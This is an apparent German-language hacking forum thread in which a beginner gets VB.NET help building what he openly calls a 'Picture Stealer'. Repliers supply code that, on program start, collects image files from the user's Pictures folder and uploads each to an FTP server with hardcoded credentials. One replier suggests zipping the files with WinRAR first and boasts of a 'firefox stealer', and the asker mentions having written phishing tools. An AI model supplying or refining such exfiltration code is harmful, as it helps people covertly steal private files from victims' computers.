[VB.NET][Help]Dateien aus Listbox uploaden?

[NavanBethrax]

Wie kann ich die dateien die ich in listbox1 eingelesen hab
anschließend auf einen FTP server Uploaden lassen ??

Mein bisheriger Code:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        For Each foundFile As String In My.Computer.FileSystem.GetFiles _
(My.Computer.FileSystem.SpecialDirectories.MyPictures)
            ListBox1.Items.Add(foundFile)

        Next

[Sawyer]

Einfach die Einträge Durchlaufen lassen , und jede Datei Hochladen

        For Each Eintrag As String In ListBox1.Items
            My.Computer.Network.UploadFile(Eintrag, "ftp://" & "ftp host", "Benutzername", "Passwort")
        Next

MfG

[NavanBethrax]

Die Adresse für UploadFile muss einen Dateinamen enthalten.

Kommt bei:

My.Computer.Network.UploadFile(Eintrag, "ftp://meinftp.de", "meinlogin", "meinpw")

Auch wenn ich nicht verstehe wo der fehler liegt weil wenn ichs mir angucke
müsste es so funktionieren.

[Sawyer]

Ja , ich habe vergessen noch einen Dateinamen anzugeben , also wie die Datei auf dem Server dann heißen soll , das beste wäre dann von der aktuellen Datei eine FileInfo zu machen , und den selben Namen der aktuellen Datei zu verwenden

Dim fi As New IO.FileInfo(Eintrag)
My.Computer.Network.UploadFile(Eintrag, "ftp://meinftp.de" & "/" & fi.Name, "meinlogin", "meinpw")

MfG

[NavanBethrax]

Ist es vllt möglich eine bestimmte gruppe an dateien aus einem Ordner zu suchen also in meinem fall bild dateien (jpg,bmp,gif,u.s.w.) Und diese dann auf den FTP server zu Uploaden ??

[Sawyer]

Ja , das geht , Prüfe vor dem Hochladen einfach ab , ob der Dateityp eine jpg oder bmp ist.

Natürlich kannst du auch mehrere Datentypen abfragen

  
If (fi.Extension = ".bmp" Or fi.Extension = ".jpg") Then  
     ' Hochladen
End If

MfG

[NavanBethrax]

Jetzt muss ich nurnoch

If (fi.Extension = ".bmp" Or fi.Extension = ".jpg") Then

In meinen Code:

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        For Each foundFile As String In My.Computer.FileSystem.GetFiles _
(My.Computer.FileSystem.SpecialDirectories.MyPictures)
            ListBox1.Items.Add(foundFile)

        Next


        For Each Eintrag As String In ListBox1.Items
            Dim fi As New IO.FileInfo(Eintrag)
            My.Computer.Network.UploadFile(Eintrag, "ftp://ftp.meinftp.de" & "/" & fi.Name, "meinftplogin", "meinftppw")

        Next

    End Sub

End Class

Mit einbringen ...

Dann fehlen noch die beiden Funktionen das Programm nach einer gewissen zeit zu beenden was ich auch selber mit nem Timer machen kann.

Und mir fehlt der Direkt Pfad zu Eigene Dateien an der stelle:

(My.Computer.FileSystem.SpecialDirectories.MyPictures)

Oda vllt eine bessere Variante wäre MyPictures + Desktop und 2 Untergeordnete Ordner nach Bildern zu dürchforsten was dann aba möglicher weise eine menge funde gibt die dann hochgeladen werden müssten . Ich frage mich was die beste lösung für einen Picture Stealer wäre ...

MfG NavanBethrax

[LeadOr]

    Dim fileinfo As New DirectoryInfo("C:\bilder\")
                    Dim files As Array = fileinfo.GetFiles("*.jpg")

da haste alle datein aus dem ordner in einem array und kannst diese besser durchlaufen lassen

vlt so (ungetestet^^)

For i as integer = 0 to files.getupperbound(0)
  My.Computer.Network.UploadFile("C:\bilder\", "ftp://ftp.meinftp.de" & "/" & files(i), "meinftplogin", "meinftppw")
next

du kannst aber auch einfach nur jpgs in die listbox laden

For i as integer = 0 to files.getupperbound(0)
   ListBox1.items.add("C:\bilder\" & files(i))
 next

was ich dir empfehlen würde wäre:

1. winrar in dein programm einbinden
2. alle datein in einen ordner kopieren
3. den ordner raren
4. hochladen

so hab ih mir meinem firefox stealer gebastelt ;D

[NavanBethrax]

was ich dir empfehlen würde wäre:

1. winrar in dein programm einbinden
2. alle datein in einen ordner kopieren
3. den ordner raren
4. hochladen

Könnte mir wer erklären wie ich winrar einbinden kann und was ich verändern müsste ...

hab bis jetzt erst einma was eingebunden ... bin auchnoch ziemlich am anfang das einzige was ich bis jetzt gemacht hab waren 1-2 phishing tools und ein paar GUI's für in AutoIt geschriebene Tools ...

MfG NavanBethrax